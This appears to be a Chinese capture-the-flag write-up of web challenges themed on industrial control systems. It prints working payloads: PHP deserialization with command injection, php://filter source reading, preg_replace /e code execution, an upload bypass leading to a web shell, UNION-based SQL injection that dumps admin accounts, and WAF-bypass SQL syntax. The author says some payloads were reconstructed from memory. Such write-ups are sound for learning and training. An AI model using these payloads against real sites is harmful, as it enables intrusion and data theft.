前言
港真,这是萌新我有史以来做得最认真的一次CTF比赛。感谢队里 @凤凰院 、 @嘟嘟嘟等等几位大佬的不嫌弃和收留,让我在群里一直潜水学习了那么久…还有怀念和各位大佬在半夜里坚持解题的紧张刺激,我想没有你们的一起坚持和互相鼓励,可能这次比赛会少很多乐趣吧。。
因为只有web是自己做的,所以就不擅作主张借花献佛了,这里只分享下自己在做题时的一点思路。另外,需要声明的是,由于本文的很多payload在比赛时没有保存,比赛后才凭记忆复现的,所以如有错漏纯属正常,希望各位看官轻喷指教。
以下为正文↓
0x00 签到题
一开始以为是什么奇淫巧技,后来发现就是单纯的爆破。知道解题方向后,用工具还是用脚本,看个人喜欢了。这些操作应该都是各位师傅的日常操作。这里不细表。
最后在 id=2333 时得到flag为:flag{2333_bao_pO_OOOO0o_o0OOO}
0x01 工控系统的敏感消息遭泄漏
这题看到信息泄漏就直接想到了git。手工验证了.git目录存在后,直接使用@lijiejie的.git泄露利用脚本即可一键跑出网站的历史版本源码。
index2.php 文件中的相关代码如下:
在这里发现了unserialize() 函数。估计利用的是反序列化了。根据代码的逻辑,构造如下payload使程序流程进入反序列化操作:
http://47.104.99.231:20003/index2.php?ad[]=&secret=O:6:%22Record%22:2:{s:4:%22file%22;s:28:%22nice||cat%20import/Flag.php||1%22;}
最后得到flag为: flag{g_i_i_t_is_unsafe_ahhhahahah}
0x02 工控云管理系统设备维护中心被植入后门
打开传送门后,在网络请求中发现了一个404的请求,请求的参数是 page 。很自然联想到该参数应该也是index.php 页面的参数。于是顺理成章的拼接成URL :http://47.104.74.209:20005/index.php?page=”。根据经验这个page有两种可能,一个是数字参数,代表的是从数据库里分批查询数据显示出来,这样的话解题思路可能是注入;一个是包含其他的文件,那么在没有上传,也没有开启allow_url_include的情况下,解题思路应该是读源码了。分别验证了两个猜想后,发现后一个是正解(这里的验证走了点弯路,主要是自己不够细心)。
确定方向后,用php://filter 读出index.php源码的 payload 如下:
http://47.104.74.209:20005/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
源码内容解base64一次后容易得到:
可以看到源码中限制了不能 php://input 的方法拿shell,所以要钦定的思路是用下面的 preg_replace配合/e参数就可以执行$replacement中的php代码了。上面的X-Forword-For的绕过这里略过不提。最终构造的payload是:
GET /index.php?pat=/test/e&rep=system(%22cat%20s3chahahaDir/flag/flag.php%22)&sub=testworld
得到flag为:flag{SecuriTY_Preg_eee3}
0x03 工控云管理系统项目管理页面解析漏洞
这题直接给出代码来审计了。简单看下,程序流程如下:
登录id为1的用户 ——> 登录成功后接收POST数据里的con作为文件的内容,file作文保存文件的文件名 ——->如果文件名不包含黑名单中内容——->保存文件
清楚了流程之后,逐个解决也不难,登录那个目测是利用了PHP精度问题的。文件名绕过在网上应该也可以找到资料。我这里用到的是 @phith0n 大神提过的方法,最终构造的payload如下:
POST /index.php?page=1&id=1.0000000000000000000000009 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
cache-control: no-cache
Postman-Token: ae81e545-6b10-42eb-9441-ee670d67430f
User-Agent: PostmanRuntime/7.1.1
Accept: */*
Host: 47.104.156.32:20007
cookie: PHPSESSID=jmd4vl5qpav3ttaocq59745k52
accept-encoding: gzip, deflate
Content-Length: 25
Connection: keep-alive
con=test&file=test.ph
flag?Flag。。。Flag当时没保存,直接交了,截至写writeup已经不能复现成功了。给个连上菜刀的图(菜刀缓存)吧:
0x04 工控管理系统新版本
这题的注入在http://47.104.1.173:20004/findpwd.php 构造payload如下可验证注入的存在:
POST /findpwd.php HTTP/1.1
Host: 47.104.1.173:20004
Proxy-Connection: keep-alive
Content-Length: 116
Cache-Control: max-age=0
Origin: http://47.104.1.173:20004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://47.104.1.173:20004/findpwd.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=qehgkaqkn707715ckl0dece3s4
username=fuckdhhhhhg%27+and+1%3D1+unIon+sEleCt+1%2C2%2Ctable_name%2C4+from+information_schema.tables+limit+5%2C1+%23
接着是猜表名和列名。列名根据post的字段可以推断出来,是username,password,question和answer四个。表名因为不能用database()(具体原因不明),所以这里我用的笨方法是:
fuckdog%27+and+1%3D2+unIon+sEleCt+1%2C2%2Ctable_schema%2C4+from+information_schema.tables+where+table_schema+like+%27%25cetc%25%27+%23
得出库名为:cetc004
同理可得表名:
fuckdog%27+and+1%3D2+unIon+sEleCt+1%2C2%2Ctable_name%2C4+from+information_schema.tables+where+table_schema+like+%27%25cetc004%25%27+limit+0%2c1+%23
表名为:admin
最后是得出管理员的帐号:
fuckdog%27+and+1%3D2+unIon+sEleCt+1%2C2%2cusername%2C4+from+cetc004.admin+%23
为:c3tlwDmIn23
然后利用注册页面可以重复注册的bug,注册一个用户名为c3tlwDmIn23的用户,重新登录即可得到flag:flag{find_passwd_is_unSaGFFF}
0x05 YUN_WAF的突破阿里
阿里的这个主要是information_schema.tables两侧的反单引号,靠的这个绕过检测规则
# 得到库名(表名和flag过程略)
jiaomujun' and 3=1 unIon /*!50000SELECT*//**/1,2,`table_schema`,4 /*!50000FROM*/`information_schema`.`tables` where `table_schema` like '%0%'#
0xff YUN_WAF的突破 青云 && YUN_WAF的突破_华为云
这道两道题的waf我记得是突破了的,但后来打算整理成文时,打算用记忆中的payload去复现好像又不行了。所以为了避免误导大家,这里就不说多错多了。有兴趣的同学自己去测试测试吧,我记得一个是用like关键字代替=这些比较运算符,然后利用模糊查询闭合原来的单引号就行了;还有一个就是用/**/注释替代空格……
以上就是本次比赛自己记得的全部解题思路了,如有错漏,还是跪求轻喷啦。。。最后再次感谢其他队友的帮助鼓励和包容理解。期待下次比赛我们能收获更多啦~!